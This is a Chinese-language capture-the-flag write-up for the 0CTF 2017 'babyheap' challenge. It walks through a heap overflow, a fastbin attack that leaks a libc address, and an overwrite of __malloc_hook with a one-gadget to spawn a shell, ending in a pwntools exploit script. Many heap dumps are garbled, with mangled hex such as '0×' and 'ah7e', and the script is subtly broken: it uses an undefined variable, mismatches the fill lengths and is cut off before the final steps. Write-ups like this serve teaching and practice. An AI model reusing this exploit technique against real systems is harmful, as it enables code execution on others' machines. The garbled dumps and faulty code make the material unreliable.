Octf 2017 BabyHeap

1. 题目分析

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

如果 RELRO: Partial RELRO, 有可能是格式化字符串。

结论: 保护全开,一般是有关堆方面的题。

2. 程序运行

```
===== Baby Heap in 2017 =====

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
```

1. Allocate

分配内存

2. Fill

填充内容,可填充任意字长的内容,漏洞就出在此处。

3. Free

释放内存。

4. Dump

打印内容。

3. 漏洞分析(借鉴自gd师傅的看雪专栏)

考察知识点: fastbin attack

One Part

下面这个是理论前提:

利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力

下面就围绕这点展开论述:

First Step

```
alloc(0x60)
alloc(0x40)
对应的内存:
0x56144ab7e000: 0x000000000000000 0x000000000000071 --> chunk0 header
             0×000000000000000 0×000000000000000
0x56144ab7e010:
0x56144ab7e020: 0x000000000000000 0x00000000000000
0x56144ab7e030:
             0x56144ab7e040:
             0x56144ab7e050:
            0x00000000000000000 0x000000000000000
0x56144ab7e060:
             0x0000000000000000 0x000000000000000
0x56144ab7e070:
             0x000000000000000 0x00000000000051 --> chunk1 header
0x56144ab7e080:
             0x56144ab7e090:
0x56144ab7e0a0:
0x56144ab7e0b0:
             0x0000000000000000 0x000000000000000
```

Second Step

```
Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header
0x56144ab7e000: 0x00000000000000 0x00000000000001
0x56144ab7e010:
            0x6161616161616161 0x61616161616161
0x56144ab7e020:
             0x6161616161616161 0x6161616161616161
0x56144ab7e030:
             0x6161616161616161 0x6161616161616161
0x56144ab7e040:
             0x6161616161616161 0x6161616161616161
0x56144ab7e050:
             0x6161616161616161 0x6161616161616161
0x56144ab7e060:
             0x6161616161616161 0x6161616161616161
0x56144ab7e070:
             0x56144ab7e080:
             0x56144ab7e090:
             0x56144ah7e0a0:
             0x56144ab7e0b0:
```

• Third Step: 申请 small chunk

```
Alloc(0x100)
0x56144ab7e000:
             0x0000000000000000 0x00000000000001
0x56144ab7e010:
             0x6161616161616161 0x6161616161616161
0x56144ab7e020:
             0x6161616161616161 0x6161616161616161
0x56144ab7e030:
             0x6161616161616161 0x6161616161616161
0x56144ab7e040:
             0x6161616161616161 0x6161616161616161
0x56144ab7e050:
             0x6161616161616161 0x6161616161616161
0x56144ab7e060:
             0x6161616161616161 0x6161616161616161
0x56144ab7e070:
             0x0000000000000000 0x00000000000001
0x56144ab7e080:
             0x56144ab7e090:
             0x56144ab7e0a0:
             0x56144ab7e0b0:
             0x56144ah7e0c0:
             0x000000000000000 0x000000000000111 --> chunk2 header
0x56144ab7e0d0:
             0x56144ab7e0e0:
```

• Fourth Step: 破坏 chunk2 header, 最后目的是释放 chunk2

```
Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ah7e000:

        0x56144ab7e010:
        0x6161616161616161
        0x61616161616161

        0x56144ab7e020:
        0x6161616161616161
        0x6161616161616161

0x56144ab7e030:
               0x6161616161616161 0x6161616161616161
0x56144ab7e040:
               0x6161616161616161 0x6161616161616161
0x56144ab7e050:
              0x6161616161616161 0x6161616161616161
0x56144ab7e060:
               0x6161616161616161 0x6161616161616161
0x56144ab7e070:
               0x0000000000000000 0x000000000000011
0x56144ab7e080:
               0x56144ab7e090:
               0x56144ab7e0a0:
               0×0000000000000000 0×0000000000000000
0x56144ab7e0b0:
               0x56144ab7e0c0:
               0x56144ab7e0d0:
               0x56144ah7e0e0:
```

• Fifth Step: 修复 chunk2 header, free 它

```
Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2
Free(2)
Dump(1)
               0x0000000000000000 0x000000000000071
0x56144ab7e000:
0x56144ab7e010:
                 0x6161616161616161 0x6161616161616161
0x56144ab7e020:
                 0x6161616161616161 0x6161616161616161
0x56144ab7e030:
                 0x6161616161616161 0x6161616161616161
0x56144ab7e040:
                  0x6161616161616161 0x6161616161616161
0x56144ab7e050:
                 0x6161616161616161 0x6161616161616161
0x56144ab7e060:
                 0x6161616161616161 0x6161616161616161
0x56144ab7e070:
                 0x0000000000000000 0x000000000000011
0x56144ab7e080:
                  0x6262626262626262 0x62626262626262
                  0x6262626262626262 0x62626262626262
0x56144ab7e090:
0x56144ab7e0a0:
                  0x6262626262626262 0x62626262626262
0x56144ah7e0h0:
                  0x6262626262626262
0x56144ab7e0c0:
                  0x00000000000000000 0x0000000000000111
0x56144ab7e0d0:
                  0x00007f26abbacb78 0x00007f26abbacb78 --> 指向libc中的某地址
0x56144ab7e0e0:
                  0x0000000000000000 0x000000000000011
```

申请两个 fast chunk, 一个 small chunk, 伪造 chunk header, 最终目的就是为了是 libc 的地址出现在某个可打印的 chunk 块中。

Two Part

如何获取 Shell?

malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell

思路: Alloc(x), 返回的地址是 malloc_hook , 那么我们就可向这个地址写入 execve("/bin/sh") 的地址现在 fastbin:

```
[ fb 4 ] 0x7f1017adfb48 -> [ 0x0 ]
[ fb 5 ] 0x7f1017adfb50 -> [ 0x55b076f6b070 ] (112) --> free chunk2
[ fb 6 ] 0x7f1017adfb58 -> [ 0x0 ]
```

执行 free(1), Fill(0, 0x60 + 0x10 + 0x10, payload)

```
[ fb 0 ] 0x7f1017adfb28 -> [ 0x0 ]
[ fb 1 ] 0x7f1017adfb30 -> [ 0x0 ]
[ fb 2 ] 0x7f1017adfb30 -> [ 0x0 ]
[ fb 3 ] 0x7f1017adfb40 -> [ 0x0 ]
[ fb 4 ] 0x7f1017adfb48 -> [ 0x0 ]
[ fb 5 ] 0x7f1017adfb48 -> [ 0x0 ]
[ fb 6 ] 0x7f1017adfb58 -> [ 0x0 ]
[ fb 7 ] 0x7f1017adfb58 -> [ 0x0 ]
[ fb 8 ] 0x7f1017adfb60 -> [ 0x0 ]
[ fb 9 ] 0x7f1017adfb60 -> [ 0x0 ]
```

Alloc(0x60) * 2, 第二次返回的就是 malloc_hook 附近的地址.

```
Fill(2, length, execve_address),
Alloc(0x20) --> 执行execve("/bin/sh")
```

其他问题:

1. 这个地址和 libc 加载的基地址有什么关系?

答: 泄露出来的这个地址与libc之间相差 0x3c4b78 , 可以使用 peda 的 vmmap 来验证.

```
        0x55b076f6b0c0:
        0x000000000000000
        0x00000000000000111

        0x55b076f6b0d0:
        0x000000000000000
        0x0000000000000000

        0x55b076f6b0f0:
        0x0000000000000000
        0x000000000000000

        0x000055b076f6b0f0:
        0x000005b076f8c000
        rw-p
        [heap]

        0x000007f10177lb000
        0x00007f10178db000
        r-xp
        /lib/x86_64-linux-gnu/libc-2.23.so

        0x00007f10178db000
        0x00007f1017adb000
        ---p
        /lib/x86_64-linux-gnu/libc-2.23.so
```

2. 0x71 是什么鬼? 为甚么要填充它?

0x71 被称为 chunksize ,下面这段代码是 malloc.c 中的一段代码,如果 fastbin_index (chunksize (victim)) != idx , 就会 corruption , free 的时候 也会检查 chunksize ,根据 chunksize 的大小, free 相应的空间.

```
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}
```

咱们填充 0x71 是为了下面 alloc(0x60) 时,不会崩掉.

下面给出 fastbin_index代码:

```
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
相当于 (chunksize >> 4) - 2
```

3. 为什么不选择 malloc_hook 作爲第二次 Alloc 返回的地址呢?

有下面内容可知,0x7f1017adfaed 的 chunksize 为 0x7f,fastbin_index 检查时不会出错。 而 malloc_hook 处 chunksize 为0, 马上就会崩掉喽。

EXP

```
from pwn import *
context(log_level='debug')
DEBUG = 1
if DEBUG:
  p = process('./babyheap')
   libc = ELF('./libc.so.6')
else:
  p = remote()
def alloc(size):
   p.recvuntil('Command:')
   p.sendline('1')
   p.recvuntil('Size:')
   p.sendline(str(size))
def fill(index, size, content):
   p.recvuntil('Command:')
   p.sendline('2')
   p.recvuntil('Index:')
   p.sendline(str(index))
   p.recvuntil('Size:')
   p.sendline(str(size))
   p.recvuntil('Content:')
   p.send(content)
def free(index):
   p.recvuntil('Command:')
   p.sendline('3')
p.recvuntil('Index:')
   p.sendline(str(index))
def dump(index):
   p.recvuntil('Command:')
   p.sendline('4')
   p.recvuntil('Index:')
   p.sendline(str(index))
   p.recvuntil('Content: \n')
   return p.recvline()[:-1]
def leak():
    gdb.attach(p)
   alloc(0x60)
   alloc(0x40)
   fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
   alloc(0x100)
   fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
   free(1)
   alloc(0x60)
   fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
   alloc(0x50)
   free(2)
   leaked = u64(dump(1)[-8:])
    # return libc_base
   return leaked - 0x3c4b78
def fastbin_attack(libc_base):
   malloc_hook = libc.symbols['__malloc_hook'] + libc_base
   execve_addr = 0x4526a + libc_base
   log.info("malloc_hook @" + hex(malloc_hook))
   log.info("system_addr @" + hex(system_addr))
   gdb.attach(p)
    free(1)
   payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0)
   fill(0, 0x60 + 0x10 + 0x10, payload)
   alloc(0x60)
   alloc(0x60)
   payload = p8(0) * 3
   payload += p64(0) * 2
   payload = p64(execve_addr)
```

参考资料

- 1. 0ctf 2017 babyheap writeup(exp有问题)
- 2. gd表哥的babyheap